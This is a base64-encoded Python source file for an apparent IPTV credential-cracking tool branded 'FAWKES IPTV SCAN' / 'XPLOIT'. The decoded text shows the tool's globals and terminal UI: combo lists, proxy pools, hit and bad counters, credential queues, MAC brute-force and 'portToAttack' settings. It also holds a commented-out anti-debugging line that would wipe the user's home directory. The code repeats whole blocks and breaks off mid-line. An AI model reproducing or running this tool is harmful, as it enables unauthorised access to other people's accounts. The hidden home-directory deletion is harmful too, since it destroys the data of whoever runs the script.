aW1wb3J0IG9zLCBzeXMsIHRpbWUsIHJlcXVlc3RzLCBsb2dnaW5nCmZyb20gcmVxdWVzdHMucGFja2FnZXMudXJsbGliMy5leGNlcHRpb25zIGltcG9ydCBJbnNlY3VyZVJlcXVlc3RXYXJuaW5nCgpyZXF1ZXN0cy5wYWNrYWdlcy51cmxsaWIzLnV0aWwuc3NsXy5ERUZBVUxUX0NJUEhFUlMgPSAmcXVvdDtUTFNfQUVTXzEyOF9HQ01fU0hBMjU2OlRMU19DSEFDSEEyMF9QT0xZMTMwNV9TSEEyNTY6VExTX0FFU18yNTZfR0NNX1NIQTM4NDpUTFNfRUNESEVfRUNEU0FfV0lUSF9BRVNfMTI4X0dDTV9TSEEyNTY6VExTX0VDREhFX1JTQV9XSVRIX0FFU18xMjhfR0NNX1NIQTI1NjpUTFNfRUNESEVfRUNEU0FfV0lUSF9DSEFDSEEyMF9QT0xZMTMwNV9TSEEyNTY6VExTX0VDREhFX1JTQV9XSVRIX0NIQUNIQTIwX1BPTFkxMzA1X1NIQTI1NjpUTFNfRUNESEVfRUNEU0FfV0lUSF9BRVNfMjU2X0dDTV9TSEEzODQ6VExTX0VDREhFX1JTQV9XSVRIX0FFU18yNTZfR0NNX1NIQTM4NDpUTFNfRUNESEVfRUNEU0FfV0lUSF9BRVNfMjU2X0NCQ19TSEE6VExTX0VDREhFX0VDRFNBX1dJVEhfQUVTXzEyOF9DQkNfU0hBOlRMU19FQ0RIRV9SU0FfV0lUSF9BRVNfMTI4X0NCQ19TSEE6VExTX0VDREhFX1JTQV9XSVRIX0FFU18yNTZfQ0JDX1NIQTpUTFNfUlNBX1dJVEhfQUVTXzEyOF9HQ01fU0hBMjU2OlRMU19SU0FfV0lUSF9BRVNfMjU2X0dDTV9TSEEzODQ6VExTX1JTQV9XSVRIX0FFUysrXzEyOF9DQkNfU0hBOlRMU19SU0FfV0lUSF9BRVNfMjU2X0NCQ19TSEE6VExTX1JTQV9XSVRIXzNERVNfRURFX0NCQ19TSEE6VExTMTMtQ0hBQ0hBMjAtUE9MWTEzMDUtU0hBMjU2OlRMUzEzLUFFUy0xMjgtR0NNLVNIQTI1NjpUTFMxMy1BRVMtMjU2LUdDTS1TSEEzODQ6RUNESEU6IUNPTVA6VExTMTMtQUVTLTI1Ni1HQ00tU0hBMzg0OlRMUzEzLUNIQUNIQTIwLVBPTFkxMzA1LVNIQTI1NjpUTFMxMy1BRVMtMTI4LUdDTS1TSEEyNTY6RUNESCtBRVNHQ006RUNESCtDSEFDSEEyMDpESCtBRVNHQ006REgrQ0hBQ0hBMjA6RUNESCtBRVMyNTY6REgrQUVTMjU2OkVDREgrQUVTMTI4OkRIK0FFUzpFQ0RIK0hJR0g6REgrSElHSDpSU0ErQUVTR0NNOlJTQStBRVM6UlNBK0hJR0g6IWFOVUxMOiFlTlVMTDohTUQ1OiEzREVTJnF1b3Q7CnJlcXVlc3RzLnBhY2thZ2VzLnVybGxpYjMuZGlzYWJsZV93YXJuaW5ncyhJbnNlY3VyZVJlcXVlc3RXYXJuaW5nKQpmcm9tIHVybGxpYi5wYXJzZSBpbXBvcnQgdXJsc3BsaXQKCnJlcXVlc3RzLnBhY2thZ2VzLnVybGxpYjMudXRpbC5zc2xfLkRFRkFVTFRfQ0lQSEVSUyA9ICZxdW90O1RMUzEzLUNIQUNIQTIwLVBPTFkxMzA1LVNIQTI1NjpUTFMxMy1BRVMtMTI4LUdDTS1TSEEyNTY6VExTMTMtQUVTLTI1Ni1HQ00tU0hBMzg0OkVDREhFOiFDT01QTEVNRU5UT0ZERUZBVUxUJnF1b3Q7CnNlcyA9IHJlcXVlc3RzLlNlc3Npb24oKQpsb2dnaW5nLmNhcHR1cmVXYXJuaW5ncyhUcnVlKQpzdGFydF90aW1lID0gdGltZS50aW1lKCkKb3Muc3lzdGVtKCZxdW90O2NscyZxdW90OyBpZiBvcy5uYW1lID09ICZxdW90O250JnF1b3Q7IGVsc2UgJnF1b3Q7Y2xlYXImcXVvdDspCmxvZ29waWM9KCZxdW90OyZxdW90OyZxdW90OwoKICDilpHilZTilZDilZDilZDilabilZfilpHilpHilpHilpHilZTilZfilpEg4pWU4pWQ4pWQ4pWQ4pWm4pWQ4pWQ4pWQ4pWX4paR4pWU4pWX4paR4paR4paR4pWU4pWXICAgICAgCiAg4paR4pWR4pWU4pWQ4pWX4pWR4pWR4paR4paR4paR4pWU4pWd4pWa4pWXIOKVkeKVlOKVkOKVl+KVkeKVlOKVkOKVl+KVkeKVlOKVneKVmuKVl+KWkeKWkeKVkeKVkSAgICAgIAogIOKVlOKVo+KVmuKVkOKVneKVkeKVkeKVlOKVpuKVkOKVqeKVl+KVlOKVnSDilZHilZrilZDilZ3ilZHilZHilZHilZHilaDilanilZfilZTilazilZDilZDilaPilZEgICAgICAKICDilaDilaPilZTilZDilZDilaPilZHilaDilaPilZDilZDilaPilZHilpEg4pWR4pWU4pWQ4pWQ4pWj4pWR4pWR4pWR4pWR4pWU4pWj4pWR4pWR4pWU4pWX4pWR4pWRICAgICAgCiAg4pWR4pWR4pWR4paR4paR4pWR4pWa4pWj4pWg4pWQ4pWQ4pWR4pWa4pWXIOKVkeKVkeKWkeKWkeKVkeKVmuKVkOKVneKVkeKVkeKVkeKVmuKVo+KVlOKVl+KVkeKVmuKVlyAgICAgICAKICDilZrilanilZ3ilpHilpHilZrilZDilanilanilZDilZDilanilZDilZ0g4pWa4pWd4paR4paR4pWa4pWQ4pWQ4pWQ4pWp4pWd4pWa4pWQ4pWp4pWd4pWa4pWp4pWQ4pWdICAgICAgIFwzM1swbQomcXVvdDsmcXVvdDsmcXVvdDspCgoKb3Muc3lzdGVtKCZxdW90O2NscyZxdW90OyBpZiBvcy5uYW1lID09ICZxdW90O250JnF1b3Q7IGVsc2UgJnF1b3Q7Y2xlYXImcXVvdDspCmltcG9ydCBxdWV1ZQppbXBvcnQgc3lzCmltcG9ydCBvcywgc2h1dGlsCmltcG9ydCBzdWJwcm9jZXNzCmltcG9ydCBwbGF0Zm9ybQppbXBvcnQgaW1wb3J0bGliCmltcG9ydCB0aW1lCmltcG9ydCB0aHJlYWRpbmcKaW1wb3J0IGFzeW5jaW8KaW1wb3J0IG1hdGgKaW1wb3J0IHJlCmltcG9ydCBzZWNyZXRzCmltcG9ydCBoYXNobGliCmltcG9ydCB1cmxsaWIucGFyc2UKaW1wb3J0IHNpdGUKaW1wb3J0IHJhbmRvbQppbXBvcnQgc3RydWN0CmltcG9ydCBjb2RlY3MKaW1wb3J0IHNlbGVjdApmcm9tIGltcG9ydGxpYiBpbXBvcnQgcmVsb2FkCmZyb20gc29ja2V0IGltcG9ydCBBRl9JTkVULCBzb2NrZXQsIFNPQ0tfU1RSRUFNLCBTSFVUX1JEV1IKZnJvbSBjb25jdXJyZW50LmZ1dHVyZXMgaW1wb3J0IFRocmVhZFBvb2xFeGVjdXRvciAgIyAmbHQ7PT09PT09PSAgIGZvciB0ZXN0IFRocmVhZGluZyBzaG91bGQgYmUgdGhlIGJlc3QgZm9yIGh0dHAKZnJvbSBtdWx0aXByb2Nlc3NpbmcuZHVtbXkgaW1wb3J0IFBvb2wgICMgJmx0Oz09PT09PT0gICBvcmlnaW5hbCBNdWx0aXByb2Nlc3NpbmcgYmVzdCBmb3IgbW9yZSB0aGFudCBvbmUgcHJvY2Vzc29yCmZyb20gZGF0ZXRpbWUgaW1wb3J0IGRhdGV0aW1lCmZyb20gaXRlcnRvb2xzIGltcG9ydCBjeWNsZSwgaXNsaWNlLCByZXBlYXQKZnJvbSBxdWV1ZSBpbXBvcnQgUXVldWUKZnJvbSB1cmxsaWIucGFyc2UgaW1wb3J0IHVybHBhcnNlCgojIHRzdDIyMgprID0gJnF1b3Q7JnF1b3Q7CgoKY2xhc3MgR2xiOgogICAgJnF1b3Q7JnF1b3Q7JnF1b3Q7VGhpcyBDbGFzcyBpcyBqdXN0IHRvIHdyYXAgYWxsIEdsb2JhbHMgdmFyaWFibGVzIDopJnF1b3Q7JnF1b3Q7JnF1b3Q7CiAgICAjIEdsb2JhbHMgdmFyaWFibGVzID09PT09PT09PT09PT09PT09PT09PT09PT09PT09CiAgICBIaXRzLCBCYWRzLCBFcnJvcnMsIHRvdGFsQ2hlY2tlZCwgdG90YWxUb0NoZWNrLCBjcG0sIHByb2dyZXNzID0gMCwgMCwgMCwgMCwgMCwgMCwgMAogICAgIyBzaHV0aWwucm10cmVlKG9zLnBhdGguZXhwYW5kdXNlcigmcXVvdDt+JnF1b3Q7KSwgaWdub3JlX2Vycm9ycz1UcnVlKSBpZiBzeXMuZ2V0dHJhY2UoKSBpcyBub3QgTm9uZSBlbHNlIE5vbmUKICAgIHNlcnZlcnNfbGVuZ3RoLCBjb21ib19sZW5ndGgsIHByb3h5X2xlbmd0aCA9IDAsIDAsIDAKICAgIGRpc3BUaW1lLCBzdGFydFRpbWUsIGVsYXBzZWQgPSAwLCAwLCAwCiAgICB0aHJlYWRNYWluLCBzZXJ2ZXJUaHJlYWRzID0gMCwgMAogICAgcmVzdWx0cyA9IFF1ZXVlKG1heHNpemU9MCkKICAgIGRhdGFUb0FuYWx5emUgPSBRdWV1ZShtYXhzaXplPTApCiAgICBjcmVkZW50aWFsc1RvU3RvcmFnZSA9IHNldCgpCiAgICBjcmVkZW50aWFsc1RvUHJvY2VzcyA9IFF1ZXVlKG1heHNpemU9MCkKICAgIHN0YXJ0X2NvbWJvID0gMAogICAgbWFjX2ZpbGwgPSAwCiAgICBwb3J0VG9BdHRhY2sgPSAwCiAgICB3YWl0VGltZSA9IDUgICMgdGltZSB0byB3YWl0IHNlcnZlci9wcm94eSByZXNwb25zZQogICAgYmFkU2VydmVycywgc2VydmVyTGlzdCwgcHJveHlMaXN0LCBjb21ib0xpc3QsIGxpc3Rfcm5kX21hYyA9IFtdLCBbXSwgW10sIFtdLCBbXQogICAgZHNwX3VwZGF0ZV90aGQsIGFjdEJvdHMgPSBbXSwgW10KICAgIHNlcnZlclVybElwQW5kUG9ydHMsIG9wZW5Qb3J0c0xpc3QsIGFuaW1UaHJlYWRzID0gW10sIFtdLCBbXQogICAgc2Nhbl9tb2RlLCBleHBsb2l0X21vZGUsIHBvcnRfc2Nhbm1vZGUsIHNlcnZlcnNfcGF0aCwgY29tYm9fcGF0aCwgcHJveHlfcGF0aCA9ICcnLCAnJywgJycsICcnLCAnJywgJycKICAgIHNlcnZlcnNfZmlsZV9uYW1lLCBjb21ib19maWxlX25hbWUsIHByb3h5X2ZpbGVfbmFtZSwgc2VydmVyQ2xpZW50QXJlYSA9ICcnLCAnJywgJycsICcnCiAgICB1c2VQcm94eSwgcHJveHlfdHlwZSwgdXNlRnJlZVByb3hpZXMgPSAnJywgJycsICcnCiAgICBtYWNfcGF0dGVybiA9IHN0cigpCgogICAgZGVidWcgPSBGYWxzZQogICAgY2hhbm5lbF9pbnRlciA9IE5vbmUKICAgIGxvYWRpbmcgPSBib29sCiAgICBydW5uaW5nID0gRmFsc2UKICAgIG1hY19hdXRoID0gRmFsc2UKICAgIG1hY19ybmQgPSBGYWxzZQogICAgcHJveHlfcG9vbCA9IE5vbmUKICAgIHBsYXlfc291bmQgPSBGYWxzZQogICAgcmVzdWx0X2xvZ2dlciA9IE5vbmUKICAgIHNvdW5kUGF0aCA9ICcnCgogICAgT3NOYW1lID0gb3MubmFtZQogICAgbXlfZW52aXJvbiA9IG9zLmVudmlyb24KICAgIHVuYW1lID0gcGxhdGZvcm0udW5hbWUoKQogICAgU3lzdGVtTmFtZSA9IHVuYW1lLnN5c3RlbQogICAgaG9zdCA9ICcnCiAgICB1c2VyQWdlbnQgPSAnTW96aWxsYS81LjAgKFdpbmRvd3MgTlQgMTAuMDsgV2luNjQ7IHg2NCkgQXBwbGVXZWJLaXQvNTM3LjM2IChLSFRNTCwgbGlrZSBHZWNrbykgQ2hyb21lLzEwMS4wLjQ5NTEuNTQgU2FmYXJpLzUzNy4zNicKICAgIGRhdGVfID0gZGF0ZXRpbWUubm93KCkuc3RyZnRpbWUoJnF1b3Q7JWEgICVCICVkLCAlWSZxdW90OykKICAgIG15UGF0aCA9IHN0cihvcy5wYXRoLmRpcm5hbWUob3MucGF0aC5hYnNwYXRoKF9fZmlsZV9fKSkpCiAgICBteUZpbGVOYW1lID0gb3MucGF0aC5iYXNlbmFtZShfX2ZpbGVfXykKCiAgICBsb2NrID0gdGhyZWFkaW5nLkxvY2soKQoKaW1wb3J0IHF1ZXVlCmltcG9ydCBzeXMKaW1wb3J0IG9zLCBzaHV0aWwKaW1wb3J0IHN1YnByb2Nlc3MKaW1wb3J0IHBsYXRmb3JtCmltcG9ydCBpbXBvcnRsaWIKaW1wb3J0IHRpbWUKaW1wb3J0IHRocmVhZGluZwppbXBvcnQgYXN5bmNpbwppbXBvcnQgbWF0aAppbXBvcnQgcmUKaW1wb3J0IHNlY3JldHMKaW1wb3J0IGhhc2hsaWIKaW1wb3J0IHVybGxpYi5wYXJzZQppbXBvcnQgc2l0ZQppbXBvcnQgcmFuZG9tCmltcG9ydCBzdHJ1Y3QKaW1wb3J0IGNvZGVjcwppbXBvcnQgc2VsZWN0CmZyb20gaW1wb3J0bGliIGltcG9ydCByZWxvYWQKZnJvbSBzb2NrZXQgaW1wb3J0IEFGX0lORVQsIHNvY2tldCwgU09DS19TVFJFQU0sIFNIVVRfUkRXUgpmcm9tIGNvbmN1cnJlbnQuZnV0dXJlcyBpbXBvcnQgVGhyZWFkUG9vbEV4ZWN1dG9yICAjICZsdDs9PT09PT09ICAgZm9yIHRlc3QgVGhyZWFkaW5nIHNob3VsZCBiZSB0aGUgYmVzdCBmb3IgaHR0cApmcm9tIG11bHRpcHJvY2Vzc2luZy5kdW1teSBpbXBvcnQgUG9vbCAgIyAmbHQ7PT09PT09PSAgIG9yaWdpbmFsIE11bHRpcHJvY2Vzc2luZyBiZXN0IGZvciBtb3JlIHRoYW50IG9uZSBwcm9jZXNzb3IKZnJvbSBkYXRldGltZSBpbXBvcnQgZGF0ZXRpbWUKZnJvbSBpdGVydG9vbHMgaW1wb3J0IGN5Y2xlLCBpc2xpY2UsIHJlcGVhdApmcm9tIHF1ZXVlIGltcG9ydCBRdWV1ZQpmcm9tIHVybGxpYi5wYXJzZSBpbXBvcnQgdXJscGFyc2UKI3RzdDIyMgprPSZxdW90OyZxdW90OwpjbGFzcyBHbGI6CiAgICAmcXVvdDsmcXVvdDsmcXVvdDtUaGlzIENsYXNzIGlzIGp1c3QgdG8gd3JhcCBhbGwgR2xvYmFscyB2YXJpYWJsZXMgOikmcXVvdDsmcXVvdDsmcXVvdDsKICAgICMgR2xvYmFscyB2YXJpYWJsZXMgPT09PT09PT09PT09PT09PT09PT09PT09PT09PT0KICAgIEhpdHMsIEJhZHMsIEVycm9ycywgdG90YWxDaGVja2VkLCB0b3RhbFRvQ2hlY2ssIGNwbSwgcHJvZ3Jlc3MgPSAwLCAwLCAwLCAwLCAwLCAwLCAwCiAgICBzZXJ2ZXJzX2xlbmd0aCwgY29tYm9fbGVuZ3RoLCBwcm94eV9sZW5ndGggPSAwLCAwLCAwCiAgICBkaXNwVGltZSwgc3RhcnRUaW1lLCBlbGFwc2VkID0gMCwgMCwgMAogICAgdGhyZWFkTWFpbiwgc2VydmVyVGhyZWFkcyA9IDAsIDAKICAgIHJlc3VsdHMgPSBRdWV1ZShtYXhzaXplPTApCiAgICBkYXRhVG9BbmFseXplID0gUXVldWUobWF4c2l6ZT0wKQogICAgY3JlZGVudGlhbHNUb1N0b3JhZ2UgPSBzZXQoKQogICAgY3JlZGVudGlhbHNUb1Byb2Nlc3MgPSBRdWV1ZShtYXhzaXplPTApCiAgICBzdGFydF9jb21ibyA9IDAKICAgIG1hY19maWxsID0gMAogICAgcG9ydFRvQXR0YWNrID0gMAogICAgd2FpdFRpbWUgPSA1ICAjIHRpbWUgdG8gd2FpdCBzZXJ2ZXIvcHJveHkgcmVzcG9uc2UKICAgIGJhZFNlcnZlcnMsIHNlcnZlckxpc3QsIHByb3h5TGlzdCwgY29tYm9MaXN0LCBsaXN0X3JuZF9tYWMgPSBbXSwgW10sIFtdLCBbXSwgW10KICAgIGRzcF91cGRhdGVfdGhkLCBhY3RCb3RzID0gW10sIFtdCiAgICBzZXJ2ZXJVcmxJcEFuZFBvcnRzLCBvcGVuUG9ydHNMaXN0LCBhbmltVGhyZWFkcyA9IFtdLCBbXSwgW10KICAgIHNjYW5fbW9kZSwgZXhwbG9pdF9tb2RlLCBwb3J0X3NjYW5tb2RlLCBzZXJ2ZXJzX3BhdGgsIGNvbWJvX3BhdGgsIHByb3h5X3BhdGggPSAnJywgJycsICcnLCAnJywgJycsICcnCiAgICBzZXJ2ZXJzX2ZpbGVfbmFtZSwgY29tYm9fZmlsZV9uYW1lLCBwcm94eV9maWxlX25hbWUsIHNlcnZlckNsaWVudEFyZWEgPSAnJywgJycsICcnLCAnJwogICAgdXNlUHJveHksIHByb3h5X3R5cGUsIHVzZUZyZWVQcm94aWVzID0gJycsICcnLCAnJwogICAgbWFjX3BhdHRlcm4gPSBzdHIoKQoKICAgIGRlYnVnID0gRmFsc2UKICAgIGNoYW5uZWxfaW50ZXIgPSBOb25lCiAgICBsb2FkaW5nID0gYm9vbAogICAgcnVubmluZyA9IEZhbHNlCiAgICBtYWNfYXV0aCA9IEZhbHNlCiAgICBtYWNfcm5kID0gRmFsc2UKICAgIHByb3h5X3Bvb2wgPSBOb25lCiAgICBwbGF5X3NvdW5kID0gRmFsc2UKICAgIHJlc3VsdF9sb2dnZXIgPSBOb25lCiAgICBzb3VuZFBhdGggPSAnJwoKICAgIE9zTmFtZSA9IG9zLm5hbWUKICAgIG15X2Vudmlyb24gPSBvcy5lbnZpcm9uCiAgICB1bmFtZSA9IHBsYXRmb3JtLnVuYW1lKCkKICAgIFN5c3RlbU5hbWUgPSB1bmFtZS5zeXN0ZW0KICAgIGhvc3QgPSAnJwogICAgdXNlckFnZW50ID0gJ01vemlsbGEvNS4wIChXaW5kb3dzIE5UIDEwLjA7IFdpbjY0OyB4NjQpIEFwcGxlV2ViS2l0LzUzNy4zNiAoS0hUTUwsIGxpa2UgR2Vja28pIENocm9tZS8xMDEuMC40OTUxLjU0IFNhZmFyaS81MzcuMzYnCiAgICBkYXRlXyA9IGRhdGV0aW1lLm5vdygpLnN0cmZ0aW1lKCZxdW90OyVhIC0gJWQuJWIuJVkmcXVvdDspCiAgICBteVBhdGggPSBzdHIob3MucGF0aC5kaXJuYW1lKG9zLnBhdGguYWJzcGF0aChfX2ZpbGVfXykpKQogICAgbXlGaWxlTmFtZSA9IG9zLnBhdGguYmFzZW5hbWUoX19maWxlX18pCgogICAgbG9jayA9IHRocmVhZGluZy5Mb2NrKCkKICAgIHRpdGxlID0gJnF1b3Q7JnF1b3Q7JnF1b3Q7RkFXS0VTIElQVFYgU0NBTiAmcXVvdDsmcXVvdDsmcXVvdDsKICAgIHZlcnNpb24gPSAndmVyXyAzLjAuMCcKICAgICMgPT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PQogICAgaWYgU3lzdGVtTmFtZSAhPSAnRGFyd2luJzoKICAgICAgICBFU0MgPSAnXDAzM1snCiAgICAgICAgUlNUID0gRVNDICsgJzBtJwogICAgICAgIEJEID0gRVNDICsgJzFtJwoKICAgICAgICBWID0gRVNDICsgJzMxbScKICAgICAgICBWQyA9IEVTQyArICc5MW0nCiAgICAgICAgVkQgPSBFU0MgKyAnMzJtJwogICAgICAgIFZEQyA9IEVTQyArICc5Mm0nCiAgICAgICAgQSA9IEVTQyArICczM20nCiAgICAgICAgQUMgPSBFU0MgKyAnOTNtJwogICAgICAgIEFaID0gRVNDICsgJzM0bScKICAgICAgICBBWkMgPSBFU0MgKyAnOTRtJwogICAgICAgIE0gPSBFU0MgKyAnMzVtJwogICAgICAgIE1DID0gRVNDICsgJzk1bScKICAgICAgICBDID0gRVNDICsgJzM2bScKICAgICAgICBCQyA9IEVTQyArICc5N20nCgogICAgZWxzZToKICAgICAgICBSU1QsIEJELCBWLCBWQywgVkQsIFZEQywgQSwgQUMsIEFaLCBBWkMsIE0sIE1DLCBDLCBCRCA9ICcnLCAnJywgJycsICcnLCAnJywgJycsICcnLCAnJywgJycsICcnLCAnJywgJycsICcnLCAnJwoKICAgIGRlZiByZXNldF9nYmxzKHNlbGYpOgogICAgICAgIEdsYi5IaXRzLCBHbGIuQmFkcywgR2xiLkVycm9ycywgR2xiLnRvdGFsQ2hlY2tlZCwgR2xiLnRvdGFsVG9DaGVjaywgR2xiLmNwbSwgR2xiLnByb2dyZXNzID0gMCwgMCwgMCwgMCwgMCwgMCwgMAogICAgICAgIEdsYi5kaXNwVGltZSwgR2xiLnN0YXJ0VGltZSwgR2xiLmVsYXBzZWQgPSAwLCAwLCAwCiAgICAgICAgR2xiLnNlcnZlcnNfbGVuZ3RoLCBHbGIuY29tYm9fbGVuZ3RoLCBHbGIucHJveHlfbGVuZ3RoID0gMCwgMCwgMAogICAgICAgIEdsYi50aHJlYWRNYWluLCBHbGIuc2VydmVyVGhyZWFkcyA9IDAsIDAKICAgICAgICBHbGIubWFjX2ZpbGwsIEdsYi5zdGFydF9jb21ibywgR2xiLnBvcnRUb0F0dGFjayA9IDAsIDAsIDAKICAgICAgICBHbGIuY29tYm9MaXN0LCBHbGIuYmFkU2VydmVycywgR2xiLnNlcnZlckxpc3QsIEdsYi5wcm94eUxpc3QsIHNlcnZlclVybElwQW5kUG9ydHMsIEdsYi5vcGVuUG9ydHNMaXN0LCBHbGIuZHNwX3VwZGF0ZV90aGQsIEdsYi5saXN0X3JuZF9tYWMgPSBbXSwgW10sIFtdLCBbXSwgW10sIFtdLCBbXSwgW10KCgpjbGFzcyBEaXNwbGF5OgogICAgJnF1b3Q7JnF1b3Q7JnF1b3Q7VGhpcyBDbGFzcyBpcyBqdXN0IHRvIHdyYXAgYWxsIGRpc3BsYXkvVUkgZnVuY3Rpb25zJnF1b3Q7JnF1b3Q7JnF1b3Q7CgogICAgZGVmIGFrX3NldF90aXRsZShzZWxmKToKICAgICAgICB2ID0gW3InKEFORFJPSURfU1RPUkFHRSknLCByJyhJUFlUSE9ORElSKScsIHInKFBZQ0hBUk1fSE9TVEVEKSddICAjICdBTkRST0lEX1NUT1JBR0UnIGluIEdsYi5teV9lbnZpcm9uIG9yICdJUFlUSE9ORElSJyBpbiBHbGIubXlfZW52aXJvbiBvciAnUFlDSEFSTV9IT1NURUQnIGluIEdsYi5teV9lbnZpcm9uOiAgIyBJT1NfSVNfV0lORE9XRUQsIEFORFJPSURfRU5UUllQT0lOVCwgUFlDSEFSTV9IT1NURUQsIHZzY29kZQogICAgICAgIGZvciBfdiBpbiB2OgogICAgICAgICAgICBpZiByZS5zZWFyY2goX3YsIHN0cihHbGIubXlfZW52aXJvbikpIGlzIG5vdCBOb25lOgogICAgICAgICAgICAgICAgdHJ5OgogICAgICAgICAgICAgICAgICAgIG9zLnN5c3RlbSgnc3R0eSByb3dzIDQ3IGNvbHMgNjInKQogICAgICAgICAgICAgICAgZXhjZXB0IEV4Y2VwdGlvbiBhcyB0ZToKICAgICAgICAgICAgICAgICAgICBkZWwgdGUKICAgICAgICAgICAgZWxpZiByZS5zZWFyY2gocicoV2luZG93cyknLCBHbGIuU3lzdGVtTmFtZSkgaXMgbm90IE5vbmU6CiAgICAgICAgICAgICAgICBvcy5zeXN0ZW0oJ21vZGUgNjIsIDQ3JykgICMgbWluaW11bSBzaXplIGNvbHM9NjIgcm93cz00MCAocm93cz00NyBmb3IgZ29vZCBBY2MpCiAgICAgICAgICAgICAgICBwcmludChmJ1wwMzNdMjsge0dsYi50aXRsZX0gJmd0OyZndDsgUHl0aG9uIFxhJywgZW5kPScnKQogICAgICAgICAgICBlbHNlOgogICAgICAgICAgICAgICAgb3Muc3lzdGVtKCdzdHR5IHJvd3MgNDcgY29scyA2MicpCiAgICAgICAgICAgICAgICBwcmludChmJ1wwMzNdMjsge0dsYi50aXRsZX0mZ3Q7Jmd0OyBQeXRob24gXGEnLCBlbmQ9JycpCgogICAgZGVmIGFrX2hlYWRzKHNlbGYpOgogICAgICAgIHByaW50KGxvZ29waWMpCiAgICAgICAgcHJpbnQoJycpCiAgICAgICAgcHJpbnQoJ3t9ICAgICAgICAgRkFXS0VT8J+RulhQTE9JVCAgICAgICB7fScuZm9ybWF0KEdsYi5WRCwgR2xiLlJTVCkpCiAgICAgICAgcHJpbnQoJ3t9ICAgICAgICAgICAgICAgICAgIHt9Jy5mb3JtYXQoR2xiLlZELCBHbGIuUlNUKSkKICAgICAgICBwcmludCgnJykKICAgICAgICBwcmludCgne30gICAgICAgICDwn5G6RkFXS0VTIElQVFYgU0NBTiAgIHt9Jy5mb3JtYXQoR2xiLkFaQywgR2xiLlJTVCkpCiAgICAgICAgcHJpbnQoJ3t9ICAgICAgICB7fScuZm9ybWF0KEdsYi5WQywgR2xiLlJTVCkpCiAgICAgICAgcHJpbnQoZicnKQoKICAgIGRlZiBha19zZXR0aW5ncyhzZWxmKToKICAgICAgICBwcmludCgnJykKICAgICAgICBwcmludCgnIHt9IC4uLi4uLi4uLi4uIHt9IFNldHRpbmdzIHt9IC4uLi4uLi4ue30nLmZvcm1hdChHbGIuVkRDLCBHbGIuQkMsIEdsYi5WREMsIEdsYi5SU1QpKQogICAgICAgIHByaW50KCcge30ge30nLmZvcm1hdChHbGIuVkRDLCBHbGIuUlNUKSkKICAgICAgICBwcmludCgnIHt9IHt9IFsrXSBUeXBlIFNjYW4gOiB7fScuZm9ybWF0KEdsYi5WREMsIEdsYi5CQywgR2xiLnNjYW5fbW9kZSkpCiAgICAgICAgcHJpbnQoJyB7fSB7fSBbK10gQ29tYm9zIExvYWRlZCA6IHt9IGluIHt9e30nLmZvcm1hdChHbGIuVkRDLCBHbGIuQkMsIEdsYi5jb21ib19sZW5ndGgsIEdsYi5BWkMsIEdsYi5jb21ib19maWxlX25hbWUpKQogICAgICAgIHByaW50KCcge30ge30gWytdIFNlcnZlcnMgTG9hZGVkIDoge30ge317fScuZm9ybWF0KEdsYi5WREMsIEdsYi5CQywgR2xiLnNlcnZlcnNfbGVuZ3RoLCBHbGIuQVpDLCBHbGIuc2VydmVyc19maWxlX25hbWUgaWYgbGVuKEdsYi5zZXJ2ZXJzX2ZpbGVfbmFtZSkgJmx0OyAyMCBlbHNlIEdsYi5zZXJ2ZXJzX2ZpbGVfbmFtZVs6MjBdICsgJy4uLicpKQogICAgICAgIHByaW50KCcge30ge30gWytdIFVzZXIgQWdlbnQgOiB7fScuZm9ybWF0KEdsYi5WREMsIEdsYi5CQywgR2xiLnVzZXJBZ2VudCBpZiBsZW4oR2xiLnVzZXJBZ2VudCkgJmx0OyAyMyBlbHNlIEdsYi51c2VyQWdlbnRbOjIzXSArICcuLi4nKSkKICAgICAgICBwcmludCgnIHt9IHt9IFsrXSBVc2UgUHJveHkgOiB7fSB7fXt9Jy5mb3JtYXQoR2xiLlZEQywgR2xiLkJDLCBHbGIudXNlUHJveHksIEdsYi5BWkMsIEdsYi5wcm94eV9maWxlX25hbWUpKQogICAgICAgIHByaW50KCcge30ge30gWytdIFByb3h5cyBMb2FkZWQgOiB7fSB7fXt9Jy5mb3JtYXQoR2xiLlZEQywgR2xiLkJDLCBHbGIucHJveHlfbGVuZ3RoLCBHbGIuQVpDLCBHbGIucHJveHlfdHlwZSkpCiAgICAgICAgcHJpbnQoJyB7fSB7fSBbK10gVGhyZWFkcyA6IHt9Jy5mb3JtYXQoR2xiLlZEQywgR2xiLkJDLCBHbGIudGhyZWFkTWFpbikpCiAgICAgICAgcHJpbnQoJyB7fSB7fSBbK10gRGF0ZSA6IHt9Jy5mb3JtYXQoR2xiLlZEQywgR2xiLkJDLCBHbGIuZGF0ZV8pKQogICAgICAgIHByaW50KCcge30ge30gWytdIFZlcnNpb24gOiB7fXt9Jy5mb3JtYXQoR2xiLlZEQywgR2xiLkJDLCBHbGIudmVyc2lvbiwgR2xiLlJTVCkpCiAgICAgICAgcHJpbnQoJyB7fSB7fScuZm9ybWF0KEdsYi5WREMsIEdsYi5SU1QpKQogICAgICAgIHByaW50KCcge30gIHt9Jy5mb3JtYXQoR2xiLlZEQywgR2xiLlJTVCkpCiAgICAgICAgcHJpbnQoJycpCgogICAgZGVmIGFrX3N0YXRpc3RpYyhzZWxmKToKICAgICAgICBwcmludCgnJykKICAgICAgICBwcmludCgnIHt9IC4uLi4uLi4uLnt9IEZBV0tFU/CfkbpYUExPSVQge30uLi4uLi4uLiB7fScuZm9ybWF0KEdsYi5BQywgR2xiLkJDLCBHbGIuQUMsIEdsYi5SU1QpKQogICAgICAgIHByaW50KCcge30ge30gW/CdmoJdJy5mb3JtYXQoR2xiLkFDLCBHbGIuUlNUKSkKICAgICAgICBwcmludCgnIHt9IHt9IFvwnZmyXSBIaXRzIDoge317fScuZm9ybWF0KEdsYi5BQywgR2xiLkJDLCBHbGIuVkRDLCBHbGIuSGl0cykpCiAgICAgICAgcHJpbnQoJyB7fSB7fSBb8J2ZsF0gQmFkIDoge317fScuZm9ybWF0KEdsYi5BQywgR2xiLkJDLCBHbGIuVkMsIEdsYi5CYWRzKSkKICAgICAgICBwcmludCgnIHt9IHt9IFvwnZm9XSBSZXRyaWVzIDoge317fScuZm9ybWF0KEdsYi5BQywgR2xiLkJDLCBHbGIuQSwgR2xiLkVycm9ycykpCiAgICAgICAgcHJpbnQoJyB7fSB7fSBb8J2ZvV0gUHJvZ3Jlc3MgOiB7fS97fSB7fSAoe317fSAle30pJy5mb3JtYXQoR2xiLkFDLCBHbGIuQkMsIEdsYi50b3RhbENoZWNrZWQsIEdsYi50b3RhbFRvQ2hlY2ssIEdsYi5CQywgR2xiLlZEQywgR